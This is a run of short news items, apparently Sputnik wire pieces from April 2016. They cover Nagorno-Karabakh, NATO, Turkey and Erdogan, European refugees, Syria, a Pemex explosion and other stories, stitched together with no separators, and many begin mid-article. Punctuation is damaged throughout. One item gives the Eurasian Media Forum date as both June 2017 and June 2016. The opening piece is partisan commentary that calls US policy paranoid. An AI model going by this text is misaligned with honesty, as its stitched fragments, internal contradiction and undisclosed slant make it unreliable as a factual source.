But, unlike the former Cold War, Americas new Cold War against Russia and China is untenable, with no objective security rationale. It is simply on the basis of a paranoid projection of threat owing to an abnormal need to preserve an unsustainable hegemony of declining US capitalism.

A second point is that this American paranoia is driving a new nuclear race.

In a recent New York Times article headlined Race for Latest Class of Nuclear Arms Threatens to Revive Cold War, the top American news publication appeared to lay equal blame on Russia, China and the US for fueling militarism.

Here is an extended quote from the article: American officials largely blame the Russian president, Vladimir V. Putin, saying his intransigence has stymied efforts to build on a 2010 arms control treaty and further shrink the arsenals of the two largest nuclear powers. Some blame the Chinese, who are looking for a technological edge to keep the United States at bay. And some blame the United States itself for speeding ahead with a nuclear modernization that, in the name of improving safety and reliability, risks throwing fuel on the fire.

The apparent balanced perspective of the NY Times is a crafty concealment of the reality that, by far, the US is the party fueling a renewed arms race.

US military spending on conventional and nuclear weapons continues its decades-long pattern of far exceeding that of either Russia or China.

According to the International Campaign to Abolish Nuclear Weapons, the annual spend on such weapons by the US in 2011 (latest available figures) was $61 billion.
UNITED NATIONS (Sputnik)  UN Secretary General Ban Ki-moon held a short meeting with North Korean Foreign Minister Ri Su-yong, briefly discussing the importance of addressing the problem of climate change.

"On the margins of the High-level Signature Ceremony for Paris Agreement, the Secretary-General and H.E. Mr. Ri Su Yong, Minister for Foreign Affairs of the Democratic People's Republic of Korea, exchanged greetings with each other. The Secretary-General briefly spoke about UN-DPRK relations, including the importance of concerted action on climate change," Ban Ki-moons spokesman said in a Friday statement.

A total of 175 nations on Friday signed the Paris Agreement on climate change at the United Nations headquarters in New York.
European politicians find themselves perilously at the mercy of an increasingly totalitarian government led by a man who fancies himself a sultan for a new Ottoman Empire. The flood of refugees has been unpopular throughout the EU, and especially in Germany, and, sidestepping humanitarian standards, European politicians seeking reelection wish both the refugees and the Turks would go away.

In that context, the German Chancellor finds herself kowtowing to Erdogan. German law prohibits residents from insulting foreign heads of state publicly, with a punishment of one year if the insult is accidental, and five years if the insult is intentional. The law has not previously been enforced, the country having rejected prior requests for prosecution made on behalf of former US President George W. Bush and Pope Benedict XVI.

Yet, when a popular German comedian took to the airwaves to poke fun at Erdogan, the Turkish leader complained, and Merkel not only agreed that her government should prosecute, but offered her opinion that the insult was purposeful, and worthy of the full five-year prison sentence.

Germans were immediately outraged by Chancellor Merkels favoring of the embattled Turkish leader over the interests of a German citizen. People have taken to social media with the hashtag #Notmychancellor, and have protested in the streets. Not only are German people appalled, but so are the countrys political elite.
He has now been taken home by his father, and will be an outpatient at the hospital's pediatrics department until he is three years old.

Professor Barbara Krolak-Olejnik, head of University Hospital's neonatal unit, told Sputnik Poland that doctors took the decision to prolong the mother's life after consulting her family.

Cud we Wrocawiu. Kobieta, ktora nie zya od 55 dni, urodzia dziecko https://t.co/jcG4YRjegD pic.twitter.com/8LKwq0oYex  Polska The Times (@polskathetimes) 19  2016 .

'Miracle in Wroclow. A woman who had been dead for 55 days gave birth to a child,' reported Polska Times.

"At the beginning, in constant consultation with anesthetists, obstetricians and neonatologists, we planned to prolong the pregnancy to 30 weeks. At that stage of pregnancy the fetus is developed enough and does not need intensive therapy after birth," Krolak-Olejnik said.

"Unfortunately in the 26th week of pregnancy the condition of the fetus was so precarious that there was a danger of miscarriage. We had to make an urgent decision  can we fight for his life?"

"The fetus was very small and premature, but we had to try and meet this challenge, otherwise the child would have died in his mother's womb," she explained.
MOSCOW (Sputnik)  The recent changes in the Ukrainian government have put additional risks in the likelihood of settling the political crisis in the country's eastern regions of Donetsk and Luhansk, Russia's envoy to the Organization for Security and Co-operation in Europe said Friday.

The political situation in Kiev has noticeably changed over the last few weeks. The majority of various statements from political figures that additional possibilities of settling the situation in Ukraine come with the change of the government, but this also brings risks, Alexander Lukashevich said during an OSCE meeting.

Lukashevich said that the creation of a so-called Ministry for the Affairs of Occupied Territories calls for particular caution.
KIEV (Sputnik)  Kiev expects to sign a treaty with the European Union in July that will allow it to monitor EUs military forces and activities, Ukraines Infrastructure Ministry said Friday.

"Signing the Treaty on Open Skies with the EU is a key objective. This time, Brussels has set July 2016 as the prospective date [of the signing]," Infrastructure Minister Volodymyr Omelian said.
Norway's 195.7 km border with Russia will be the only place where the Kingdom plans to intensify its military presence, the Norwegian newspaper Dagens Naeringsliv reported, citing the planned closure of nine military bases across the country and the liquidation of at least 1,500 jobs in the country's military.

The news website Independent Barents Observer, for its part, said that the ranger company is due to reinforce the Border Guard troops based at Sor-Varanger Garrison outside Kirkenes on the Norwegian-Russian border, in line with a long-term plan announced by Norway's Defense Minister Ine Soreide Eriksen.
YEREVAN (Sputnik)  Statements by Turkey on the crisis in Nagorno-Karabakh are not helping the situation and sound like calls to war, Russian Foreign Minister Sergei Lavrov said Friday:

"I believe that the statements that were voiced from the mouths of the Turkish leadership are absolutely unacceptable for one simple reason: these were calls not for peace, but for war. These were calls to solving the conflict using military force. This contradicts the positions of the co-chairs of the OSCE Minsk groups position at the roots and at the roots of the global community."
Obviously, she was hoping to voice sympathy for refugees, but the publicity stunt immediately backfired, as the Norwegian left lit up the social media with snide remarks over images of Listhaug floating in an orange full-body suit.

"How about opening the window to really know what it's like to be homeless?" Karin Andersen from the Socialist Party tweeted.

Hva med a apne vinduet for a virkelig kjenne pa hvordan det er a vre uteligger? @vgnett @wwwhano @Klassekampen https://t.co/0IrMv7Gkz3  Karin Andersen (@SV_Karin) April 20, 2016

"Today I'm going to sit in a chair for five minutes to really feel what it is like to be paralyzed," lawyer Brynjar Meling tweeted.

I dag skal jeg sitte pa en stol i fem minutter for a virkelig kjenne hvordan de lamme har det. https://t.co/lRsqN3qTSu  Brynjar Meling (@BNMeling) April 20, 2016

"Next week: Sylvi Listhaug will try how it feels to be blind by simply closing her eyes," tweeted Morten verbye.
YEREVAN (Sputnik)  The use of force in the Nagorno-Karabakh crisis is unacceptable and needs to be solved by negotiations, Armenian Foreign Minister Edward Nalbandian said Friday.

We are united in the opinion that the use of force is unacceptable and settlement should be reached through negotiations as there is no other alternative, Nalbandian said during a joint press conference with Russian Foreign Minister Sergei Lavrov in Yerevan.
The US aircraft manufacturer Boeing has lately caused a remarkable stir in Denmark with an extensive advertising campaign with full-page ads in newspapers, radio programs and full-size advertisements at bus stops. According to many observers, this may be one of the largest lobbying efforts ever at home, as the stakes for being selected the supplier of Denmark's new fighter fleet are running high.

Editor Andreas Krog of the web portal nytkampfly.dk estimated that Boeing has already spent up to 15 million kroner (roughly 2.3 million dollars) in the current campaign, Danish TV2 reported.

"Denmark may well be a small country buying comparatively few planes, but nevertheless a large sum of money is at stake. Another thing is that if one wins Denmark, one might also win other European countries and create some kind of snowball effect," said Jens Ringsmose, associate professor at the Center for War Studies at the University of Southern Denmark, who earlier dismissed Boeing's attempt to palm off its warplanes as "desperate."
ASTANA (Sputnik)  The 14th Eurasian Media Forum (EAMF) will be held in June 2017 in the Kazakh capital of Astana at the venue of the upcoming EXPO-2017, Chair of EAMF Organizing Committee Dariga Nazarbayeva said Friday.

"The 14th Eurasian Media Forum will take place on June 22-23, 2016 at one of the venues of EXPO-2017 in Astana," Nazarbayeva, who is also Kazakh deputy prime minister, said at the closing ceremony of the 13th EAMF.
Earlier this week, Peskov said that Russian President Vladimir Putin and Ukrainian President Petro Poroshenko had a phone conversation, in which they discussed the fate of Savchenko, Yerofeev and Aleksandrov.

"I have nothing to add on the issue of Savchenko, apart from the words, I have already said," Peskov told reporters, answering the question about the possibility of Savchenko's exchange for detained Russian nationals.
YEREVAN (Sputnik)  Moscow urges the full observance of the ceasefire deal in the self-proclaimed Nagorno-Karabakh Republic (NKR) and prevention of 1994 and 1995 agreements' violations, Russian Foreign Minister Sergei Lavrov said Friday.

Azerbaijan and the breakaway NKR agreed to a ceasefire on April 5, following days of clashes that led to numerous casualties on both sides.

"It is essential to strictly observe the ceasefire agreements and to prevent new violations of the 1994 and 1995 deals, which have secured and strengthened regime of the indefinite ceasefire," Lavrov said opening the talks with his Armenian counterpart in Yerevan.
ROME (Sputnik)  Italys former Prime Minister and European Commission ex-president Romano Prodi has called on Europe to scrap sanctions against Russia to improve the political climate.

"Sanctions are effective not only when they are imposed but also when they are lifted. Lifting them from Russia now can prove to be a more efficient policy," Prodi told the Corriere della Sera newspaper on Thursday.
MOSCOW (Sputnik)  Athens will not tolerate the actions of Ankara violating country's sovereignty in the Aegean Sea, Greek Prime Minister Alexis Tsipras said Friday.

NATO ships have been deployed to the Aegean Sea for months to monitor migrant flows between Turkey and Greece. Athens claim that Ankara refuses NATO ships to enter the maritime zone near some of the Greek islands, as Turkey considers them as its own territory.

"Greece will not tolerate any actions that challenge our sovereignty," Tsipras said at a meeting with NATO Secretary General Jens Stoltenberg, as quoted by the Proto Thema newspaper.
The situation in Europe where thousands of children remain stuck was described by an aid charity as "urgent."

Find out what you can do to help Syrian refugees at https://t.co/AE5zf2U78O pic.twitter.com/wiXo5GbyMH  Home Office (@ukhomeoffice) April 21, 2016

Stephen Twigg, chair of the UK International Development Committee said: "Children are clearly some of the most vulnerable refugees this crisis has created.

"Having survived the treacherous journey; there is a grave possibility that unaccompanied children become the victims of people traffickers who force them into prostitution, child labor and the drugs trade. This is an issue of utmost urgency," Twigg said back in January 2016.

However the "urgent" issue of resettling child refugees from Europe has been superseded by the British government's decision to resettle youngsters from refugee camps further from European shores.

Former Labour minister Yvette Cooper said the announcement "includes nothing new to help the thousands of refugees alone in Europe, who are at risk of trafficking, sexual exploitation and abuse."

Gov't statement today has nothing new to help lone #childrefugees in Europe. Still need Dubs amendment on Mon https://t.co/H5TeYs68Bs  Yvette Cooper (@YvetteCooperMP) April 21, 2016

Tim Farron, leader of the Liberal Democrat party said the announcement was "not good enough" and accused the Conservative government of making the refugee crisis a political not humanitarian issue.

"For them it is political not humanitarian not a jot of compassion. This won't help any of the children I met in Idomeni or Lesbos and the thousands more languishing in European camps."
PEN has invited Snowden to receive the award in the Norwegian capital Oslo this November, but his ability to attend now depends on a court ruling as to whether the former CIA whistleblower should be extradited to the USA.

Snowden  currently residing in Russia, where he has been granted temporary asylum  is wanted under the US Espionage Act, which would almost certainly result in decades behind bars were he to be extradited to, and captured by, US authorities.

@Snowden In English: "If Snowden should come to Norway, should Norway be able to extradite him to the USA?" 70 % says no.  Christofr Tnnessen (@cristeatweet) 21 April 2016

Snowden and Norwegian PEN however, argue that any extradition by Norway, would in this case be unlawful, given the political nature of the alleged crimes.
According to the Deutschlandtrend survey for public broadcaster ARD, only 33 percent of Germans would vote for Merkel's CDU/CSU party if there were a general election this week, way down on the 41.5 percent the party achieved at the national elections in 2013.

#Merkels approval rating plummets after decision to let #Erdogan case against comedian go forward. #boehmermann pic.twitter.com/Kik8zmd9zf  Matthew Karnitschnig (@MKarnitschnig) 19 April 2016

The poll found that 21 percent of respondents would vote for the SPD, which is coalition with CDU/CSU, causing some supporters to say the party had been tarnished by the alliance. The right-wing populist AfD part polled 14 percent, the Greens twelve percent, the Left Party receives eight percent, the FDP seven percent, with other parties on five percent.

Merkel has come in for severe criticism at home over her open doors policy to refugees, which initially brought her plaudits. However, the sheer volume of migrants arriving in German has caused major strains in many German states, with asylum seekers creating a burden on local authorities. More than 1.1 million entered Germany in 2015 alone.
"The global situation we are experiencing and which is also made clear by the strategic decision leads to the conclusion that we could be at war within a few years," Brannstrom then said.

Rolf Hochhuth also cited as an example NATO military parade in the Estonian city of Narva in February 2015, just a couple of hundred meters, not even kilometers, from the border with Russia.

The author said that back then Chancellor Angela Merkel was able to prohibit Germany from taking part in the occasion but she was unable to prevent Germanys participation in the joint NATO naval drills in the Black Sea later in March 2015, not far from Russias Crimea peninsula.

"Why isnt she holding her naval drill in Gibraltar," Hochhuth wondered. "And why has a German battleship taken part in the drills?"

With regards to Crimea, the author cited Helmut Schmidt, former West German chancellor, who died in November last year, as saying some two weeks before his death:

"Stop, at last, with your worthless sanctions! Neither Crimea nor Ukraine have even been sovereign entities!"

"Why do we, Germans, need this Crimea?" Hochhuth wonders.
KIEV (Sputnik)  Former deputy prime minister and finance minister of Poland Leszek Balcerowicz has been appointed to represent Ukrainian President Petro Poroshenko in the countrys cabinet, a decree posted on the presidential website Friday stated.

"Our principled position is that we will not have a presidential and prime ministerial team and group. We will have a single common group that will reform the country," Poroshenko was quoted in the announcement.
MOSCOW (Sputnik)  On Friday, Stoltenberg held meetings with Greek President Prokopios Pavlopoulos, Prime Minister Alexis Tsipras and Defense Minister Panos Kammenos in Athens to discuss current security challenges and NATOs response to them.

"There has been a significant reduction in the number of people crossing the Aegean from Turkey to Greece. We are helping counter criminal networks, secure our borders, and save lives. And NATO is working with the EU closer than ever before. We need to stay engaged. I thank Greece for contributing ships to our deployment. And for the excellent cooperation and coordination," Stoltenberg said at the meeting with Tsipras.

According to Stoltenberg, NATO has deployed its forces to the Aegean Sea in order to curb illegal migration after Greece, Germany and Turkey requested Alliance's assistance to help cut the lines of human trafficking.
Foreign Minister Margot Wallstrom of the Social Democratic Party and Aid Minister Isabella Lovin of the Green Party informed the Foreign Affairs Committee of the cost of Swedish campaign for a seat in the UN Security Council. Accordingly, the heavily criticized campaign has so far cost at least 22 million krona (roughly 3 million dollars). Most of this has been spent on salaries for Foreign Ministry staff assigned to work on the campaign. Even travel and legal representation were major expense items.

However, this sum does not include additional expenses from the aid budget, such as seminars for UN ambassadors with votes in the General Assembly, who were treated to a free trip to Sweden. Although the event was planned by campaign staff, it was the Dag Hammarskjold Foundation that paid the bill with aid money, which was earlier revealed by Dagens Nyheter. Remarkably, Ambassador Per Thoresson is said to have flown in from New York and acted as a tour guide. The lavish reception has drawn strong criticism from both left and right, whereas the Dag Hammarskjold Foundation and the Ministry of Foreign Affairs both claim the seminars to have been part of the regular activities.
MOSCOW (Sputnik)  The majority of UK voters object to US President Barack Obamas interference in the UK campaign on the EU membership referendum, a poll found Friday.

The Sky News survey came after Obama wrote in the Daily Telegraph that Washington had a "deep interest" in the outcome of the June 23 vote on whether Britain should stay in the bloc, and warned against UKs exit.

Sixty percent of those polled think the US leader "should not intervene in the EU referendum campaign," the Sky Data Snap Poll showed. Almost 30 percent said he should.


MOSCOW (Sputnik)A substantial progress was made in talks between Athens and EU institutions on the reform package that Greece must deliver as part of its bailout program, making the conclusion of a review on the issue possible next week, Jeroen Dijsselbloem, the chairman of the Eurogroup, told reporters on Friday.

Cooperation between the [EU] institutions and the Greek authority has been strong and productive We believe that substantial progress has been made, Dijsselbloem said at an informal gathering of eurozone finance ministers in Amsterdam, adding that no deal that could enable Greece to unlock further bailout funds would be signed Friday.

According to the Eurogroup head, the sides are close to an agreement on a number of key areas such as the pension reform, the income tax reform, the nonperforming loans issue and the establishment of a privatization fund.
According to the UNHCR, 35 percent of migrants entering the EU since 1 January 2016 are children. Many travel unaccompanied by an adult. In 2015, 85,482 unaccompanied minors applied for asylum in the EU, which was three times the 2014 figure. Half of them were from Afghanistan, and 13 percent from Syria.

Worse than Dogs

Alliance for Liberals and Democrats for Europe (ALDE) group Hilde Vautmans said:

"This bureaucratic indifference cannot rule our moral standards. When a dog is missing, people post emergency messages on their Facebook pages. But when we are faced with the biggest number of displaced children since World War II, we all get lost in the myriad of institutions. It's a disgrace."

Cecilia Wikstrom, ALDE spokesperson for migration, said:

"The information in some reports pointing out that at least 10 000 unaccompanied minors fleeing war and conflict have disappeared after arriving here is incredibly worrying and needs to be taken seriously. The national reception systems for unaccompanied minors need to be reviewed by EU member states in order to minimize the risk of children falling into the grip of criminals who exploit them."

More than 89,000 unaccompanied children arrived in the European Union in 2015[1], which represents a dramatic increase from to the 23,000 unaccompanied children arriving in 2014.

.@europol: "Minors are regarded as commodities"by human traffickers preying on unaccompanied migrant kids, w/true #s unknown. @EP_Justice  Teri Schultz (@terischultz) April 21, 2016

According to Europol, 10,000 of these children have disappeared within hours of being registered and only a handful have been found since. However, national reports seem to suggest that the number of missing unaccompanied children could be much higher, and that many children go missing before being registered by authorities.
BRUSSELS (Sputnik)  Russia's envoy to NATO Alexander Grushko said Friday that Ukraine's intention to join a NATO Black Sea flotilla was obviously premature.

"A joint NATO Black Sea flotilla does not currently exist. There is nothing to join. This is a typical example of putting the carriage before the horse," Grushko told RIA Novosti commenting on Ukrainian President Petro Poroshenko's recent statement that Kiev was ready to join the NATO Black Sea Flotilla if the Alliance's leadership would support the initiative to create it.

The Romanian authorities have repeatedly called on NATO to boost the Alliance's military presence in the Black Sea and hopes this initiative to be discussed at the NATO July summit in Warsaw.
KIEV (Sputnik)  Ukrainian President Petro Poroshenko said Friday that he expects the Organization for Security and Co-operation in Europe (OSCE) to deploy a police mission in the nearest future to control the ceasefire in Ukraine's eastern Donbass region.

"In the nearest future I expect the deployment of a new, armed OSCE mission to control the ceasefire, guard withdrawn weaponsand ensure control of uncontrolled parts of the Ukrainian-Russian border," Poroshenko said.
The detainee is suspected to have smuggled 33 Chinese people (of which 14 children aged 5-14) into continental Europe via Finland by allowing them to bypass the Helsinki Airport immigration control without the required visas.

According to Finland's Border Guard, the man was detained in February 2016 at Helsinki Airport, when he was in the process of ushering two children and one adult travelling from China to Finland. In order for his guests to dodge the passenger border checks, the steward is said to have used an employee's passkey to access a restricted area.
German police are investigating allegations that at least three employees of a security firm working at an asylum reception center in Munich stole from asylum seekers who arrived there and threatened to send them back to their native country, Suddeutche Zeitung reported on Wednesday.

Staff at the security firm received instructions from the company's headquarters in Karlsruhe, according to which refugees had to fill out a form during the asylum registration procedure stating that they are carrying less than 750 euros in cash.

Anything over this sum, the refugees are supposed to hand over to the authorities to go towards the cost of their accommodation and meals.
YEREVAN (Sputnik)  Russian Foreign Minister Sergei Lavrov urged Azeris and Armenians on Friday to continue peaceful talks over the disputed Nagorno-Karabakh area against all odds as the conflict has no military solution.

"I understand it is hard to return to the negotiating tableBut if we make just a tiny step forward in the political process it would help prevent future flare-ups," Lavrov said in Yerevan, Armenia.

Violence in Azerbaijans breakaway region escalated early this month. Baku and Yerevan have accused each other of provoking hostilities. A ceasefire was achieved on April 5, following days of clashes that led to numerous casualties on both sides.
MOSCOW (Sputnik)  NATO should consider a "more persistent" military presence in the Black Sea region, focusing on maritime capabilities, NATO Deputy Secretary General Alexander Vershbow said Friday.

"We need to consider a more persistent NATO military presence in the [Black Sea] region  with a particular focus on our maritime capabilities  a presence which is robust, certainly, but also defensive in posture, non-permanent, and in compliance with the Montreux Convention, which regulates and limits the transit of non-Black Sea state warships through the Bosphorus and the Dardanelles," Vershbow said, as quoted in the speech published on NATO website.

He added that the alliance had already implemented a number of assurance measures in the region, such as intensification of NATO maritime patrols in the Black Sea, surveillance flights of AWACS (airborne warning and control systems) in the region and presence of the US Marine Corps Black Sea Rotational Force in Romania.
"Exports from Sicily to Russia amounted to more than 25 million euros in 2015, an increase of 43 percent compared with the previous year," Fallico said.

According to the data provided by the Conoscere Eurasia Association, this result was possible largely thanks to exports of electronic and optical equipment, made in Sicily.

Relations between Russia and Europe went downhill in 2014, when Brussels accused Moscow of fueling the Ukrainian crisis and imposed several rounds of sanctions on it. The restrictions targeted Russia's banking, energy and defense sectors.

The Russian authorities have refuted the allegations, warning that the Western sanctions are counterproductive. In response to the Western restrictive measures, in August 2014, Russia announced a food embargo on some products originating in states that imposed sanctions against it.
WASHINGTON (Sputnik)  US President Barack Obama has stated on Friday that his comments on the benefits for the United Kingdom to remain in the European Union are not aimed at influencing the outcome of the upcoming referendum on UK membership in the bloc.

"This is decision for the people of the United Kingdom to make. I am not coming here to fix any votes," Obama stated in a joint press conference with UK Prime Minister David Cameron in London.
BERLIN (Sputnik)  German Chancellor Angela Merkel said Friday that she agreed on a framework for the new migrant integration law with representatives of the country's 16 federal states, amid a massive inflow of asylum seekers to the European country.

Last week, the German chancellor announced that her country was due to adopt the federal law on integration to mark a new step in resolving the issues of migrant admission.

"We agreed on the key points of the law on integration This is a very important event, because such law never existed in Germany," Merkel told reporters.
"There can be no legal reason to stop [Sputnik] from doing journalism," Okuyan says.

Writing for the Turkish newspaper Sol, Okuyan has had his own run-ins with the Erdogan government.

"I myself will [appear in] court on the fifth of May [for] insulting Erdogan. They charged me with five years, and have two other cases."

His fate will be not decided by jury, but by a judge. Okuyans case is one of thousands who are facing prison for criticizing the president.

"There are 2,000 cases related [to] insulting Erdogan. Only three of them are related to me. There are elder people, even students, even children. This is ridiculous. I am a writer. I have been writing for many years and I have to criticize the government."
The Turkish embassy email asked, "urgently for the names and written comments of people who have given derogatory, disparaging, hateful and defamatory statements against the Turkish president, Turkey and Turkish society in general [translation by BBC]." The Turkish embassy in the Netherlands, however, later claimed that there was a misunderstanding and that Erdogan's ambassadors only want organizations to email the consulate to report incidents of racism or hate speech.

According to Le Deroff, freedom of speech is closely connected with the ongoing Syrian refugee crisis and corresponding negotiations between the EU and Turkey.

"EU is delegating the management of its border and the flow of refugees to Turkey."
A 7.8-magnitude earthquake hit Ecuador on April 16. Over 7,000 people were injured as a result. Ecuadors President Rafael Correa said earlier this week that the damage caused by the natural disaster would cost as much as $3 billion.

On Wednesday, Ecuadors president said that he planned to increase taxes and sell some state assets to raise funds to cover the costs of recovery efforts.
MEXICO CITY (Sputnik)  The death toll from an explosion at an oil facility in Mexicos state of Veracruz has gone up to 24, the countrys state-owned Petroleos Mexicanos (Pemex) company has announced.

"The head of Pemex reports that, unfortunately, the number of deceased workers has risen to 24," Pemex wrote on its official Twitter page.

According to the company, 19 people remain hospitalized, 13 of them are in critical condition.
Argentina went through three major debt crises in 1982, 1988 and 2001, with the latest $100 billion default declared the largest in the South American country's history.

Buenos Aires restructured 93 percent of its debt, but the creditors holding the remaining 7 percent of the bonds did not accept Argentinas proposal and filed a lawsuit, demanding full payment. A New York court ruled in 2014 that Argentina had to pay $1.33 billion to its 2001 bond holders who did not agree with restructuring deal, including NML Capital, Aurelius Capital Management, Elliot Management, Davidson Kempner and Bracebridge Capital.

Last summer, US District Judge Thomas Griesa ruled that Argentina must pay $5.4 billion to its bondholders in addition to the $1.33 billion it owed.

Finance Minister Prat-Gay said early last month Argentina had reached a $4.65 billion deal with holdout creditors, putting an end to its 2001 default crisis.

On Tuesday, Argentina sold sovereign bonds valued at $16.5 billion for the first time in 15 years since being shut out of the global debt market by Griesa. The return came less than a week after the US District Court of Appeals in Manhattan upheld a judicial ruling to lift an injunction that has barred Argentina from repaying its holdout creditors.
MEXICO CITY (Sputnik)  The death toll from an explosion at Mexicos state-owned Petroleos Mexicanos (Pemex) oil plant in the southern state of Veracruz has gone up to 27 after the discovery of three more bodies by rescue crews, Diario de Mexico reports.

On Friday, Pemex said that the death toll stood at 24, while 19 people remained hospitalized, including 13 in critical condition.

According to Pemex, the explosion at its oil facility in Coatzacoalcos, in the state of Veracruz, occurred at 15:15 local time (20:15 GMT) on Wednesday. The oil plant is operated by the Mexichem petrochemical company and is jointly owned with Pemex.


MOSCOW (Sputnik)A bomb attack carried out by the Kurdistan Workers' Party (PKK) militant group in Turkeys eastern province of Tunceli on Friday has claimed the lives of three Turkish soldiers, local media reported.

Turkish soldiers had been inside a military vehicle when the attack happened, the Anadolu news agency said.

Turkish aircraft that had been sent to the scene for reinforcement, opened fire on the militants of the PKK group, which is deemed a terrorist organization in the country, according to the media outlet.


GENEVA (Sputnik)Syrias internal opposition group formed at the Hmeymim airbase proposed Friday to call a National Congress to end the deadlock in talks, during a series of informal meetings with Egyptian, Russian, Kazakh and Saudi delegates in Geneva.

"We discussed outlooks for forming either a separate delegation or calling a National Congress of 1,000 members  possibly in Damascus or Hmeymim  to seek a way out of this crisis," Ilyan Mosaad, the Hmeymim delegations head at the Geneva peace talks, told Sputnik.

Mosaad said that the Congress could become "an alternative to a transitional government" that would be comprised of representatives from all sides of the Syrian conflict.
PRT: #Iraq|i outlets are quoting #Baghdad Operations Command as saying that attack at Shia mosque in Radwaniyah involved 2 suicide bombers  Miriam Goldman (@Miriam411) April 22, 2016

The blast reportedly took place in a Shiite mosque in the city's southwest.

There was no immediate claim of responsibility for the blast in al-Radwaniyah district.

According to Alsumaria TV channel, two suicide bombers carried out the attack  one of them was killed when trying to enter the mosque. His accomplice, however, had managed to get inside.
DAMASCUS (Sputnik)  The Syrian Army has crossed the "qualitative" brink in victory in its fight against terrorism, Syrian Prime Minister Wael Nader Halqi told Sputnik.

"Moreover, the Syrian Army has crossed the qualitative peak of victory in the fight against terrorism. The country's government is conducting the fight against terrorism with a united strategy," Halqi said in an interview.


DAMASCUS (Sputnik)Damascus is prepared to show flexibility in the Syrian crisis but will insist on the countrys sovereignty and territorial integrity, Syrian Prime Minister Wael Nader Halqi told Sputnik.

Syrias enemies still dont see a political path, they are relying on force and changes on the ground in their own interests. In regard to this, the Syrian government is flexible in everything except for what is embedded in national principles because this is the understanding of sovereignty, Halqi said in an interview.

Halqi explained the difference between principles and conditions as the latter being understood as the opinion of one party not taking into consideration the opinion of the other, and principles are the fundamentals of relations, things of logic, and international law.
Recep Tayyip Erdogan for the first time in many years declared that Turkey needs Israel as a friend in the region.

Second, Erdogan strengthened his country's alliance with Saudi Arabia by establishing a strategic partnership council between the two countries.

The French Senator also notes the recent trip made by Saudi's King Salman to Egypt which resulted in Egypts handing over two Red Sea islands to Saudi Arabia in a controversial agreement, supported by Israel.

Thus, it emerges slowly but surely, a strategic alliance between Gulf Sunni monarchies, Turkey, Egypt and Israel to fight the return of Iran, she states.

The US seems to be acting in the same vein. In December, the US Congress passed restrictive entry measures by putting conditions on the issuance of visas for persons who traveled to Iran or the Iranian-American dual nationals.

The two-day visit of President Obama to Saudi Arabia, the French politician suggests, is aimed at reassuring its long-standing ally. Goulet, however, doubts that the trip will bear any fruit or if reconciliation occurs then at what cost, taking into account that Obama's presidency is coming to an end very soon.

For their part, the Israelis are not standing still, and the US elections give them a new platform to declare their hostility and join the Saudis in irrationality, she says.
MOSCOW (Sputnik)  Some Western media outlets earlier reported that a military plane has crashed in an area to the south-east of Damascus after flying over territory controlled by Islamic State terrorists.

"The Russian combat aircraft have not flown near Damascus or its outskirts today. All jets from the air group are at the Hmeimim airbase," the spokesman told reporters.

On March 15, Vladimir Putin ordered the Russian forces to withdarw from Syria. According to the president, the Ministry of Defense and the armed forces as a whole has achieved its goal.
WASHINGTON (Sputnik)  Nine US airstrikes against the Daesh jihadist group, carried out between September and February, have killed 20 civilians in Iraq and Syria and injured another 11, US Central Command (CENTCOM) said in a press release on Friday.

"The preponderance of evidence indicates nine separate US airstrikes in Iraq and Syria, between Sept. 10, 2015 and Feb. 2, 2016, have likely resulted in the death of 20 civilians and injuries to an additional 11 civilians," the press release stated.

CENTCOM noted that the US military had taken all the necessary precautions to avoid civilian casualties in the airstrikes, but they nevertheless occurred.
WASHINGTON (Sputnik)  The United Nations Committee Against Torture should investigate the deteriorating human rights situation in Turkey, the watchdog group Human Rights Watch (HRW) said in a statement on Friday.

"Alongside weak mechanisms for accountability for wrongdoing by state officials and members of the security forces, Turkey has in recent years introduced problematic laws giving the police greater powers to detain individuals without judicial oversight and thereby increasing the risk of ill-treatment and arbitrary detention," the statement said.

HRW noted there has been "a significant increase in government intolerance of public assembly" and increasing restrictions on free expression since the UN committees last review of Turkey in 2013.
MOSCOW (Sputnik)  The Russian center for Syrian reconciliation at the Hmeimim airbase registered a total of seven violations of the ceasefire regime in Syria in the last 24 hours, the Russian Defense Ministry said Friday.

"The cessation of hostilities in Syria has been respected in most of the Syrian provinces. However, a total of seven violations of the ceasefire regime have been registered, including three each in the Latakia and the Damascus provinces, and one in the Aleppo province," the ministry said in a daily bulletin posted on its website.

"The number of settlements that have joined the reconciliation process has increased to 70 as an agreement with a settlement in the Homs province has been signed by the Syrian authorities in the past 24 hours," the ministry also noted.
MOSCOW (Sputnik)  The Syrian government should address the issue of the economic sanctions imposed against it instead of accusing the Middle East and the West of attempting to destroy the countrys infrastructure through arming terrorists, a member of the Syrian Democratic Forum opposition party told Sputnik on Friday.

On Thursday, Syrian Prime Minister Wael Nader Halqi told Sputnik in an interview that instead of helping in the settlement of the Syrian crisis, Saudi Arabia, Qatar, Turkey, France and the United Kingdom were arming terrorists in Syria.

"The [Syrian] government should have a different approach and instead of blaming everyone, it needs to address an issue of the anti-Syrian economic sanctions that are destroying the countrys economy," Samir Aita said adding that prospects of lifting the economic restrictions were discussed last week during the spring meetings of the International Monetary Fund (IMF) and the World Bank in Washington.
WASHINGTON (Sputnik)  Amid the Syrian oppositions pull out of the Geneva peace talks and ceasefire collapse, it is time for US Secretary of State John Kerry to consider a plan B in Damascus, the Chairman of the US Senate Foreign Relations Comittee Senator Bob Corker said in a statement.

On February 24, two days after Russia and the United States negotiated the ceasefire in Syria, the White House said that Washington was "not ruling out a Plan B" in case the truce did not hold. Later, reports emerged that the Central Intelligence Agency and its regional partners were preparing Plan B in Syria which would include deliveries of various types of anti-aircraft weapons to Syrian rebels.

"Now that the cessation of hostilities is effectively dead, it looks like its time to consider what Secretary Kerry referred to as Plan B, and I look forward to him laying that out very soon," Corker said in a statement on Friday following his conversation with senior Syrian opposition leader Dr. Riyad Hijab.
WASHINGTON (Sputnik)  The US Army has ordered $18.7 million worth of special heavy parachutes to enable heavy artillery pieces and mortars to be dropped to units in the field from aircraft, the Department of Defense announced.

"Yoland Corporation [based in] Brooklyn, New York, was awarded an $18.7 million contract for 60mm, 81mm, 120mm, and 155mm main and drogue mortar and artillery parachutes," the announcement said on Thursday.

The contract is to be completed over the next five years by April 20, 2021, the Defense Department added.
MEXICO CITY (Sputnik)  The US Air Force is looking to replace the Bell UH-1 Iroquois (Huey) military helicopter, Air Force spokeswoman Ann Stefanek said.

"Right now the Air Force is looking at all options as we go forward to meet the need," Stefanek said as quoted by The Washington Post on Thursday.

The United States first used the UH-1 Huey helicopters in combat in the 1960s, in the Vietnam War. The US Air Force has been mulling a replacement for the helicopter since the early 1990s, according to The Washington Post.
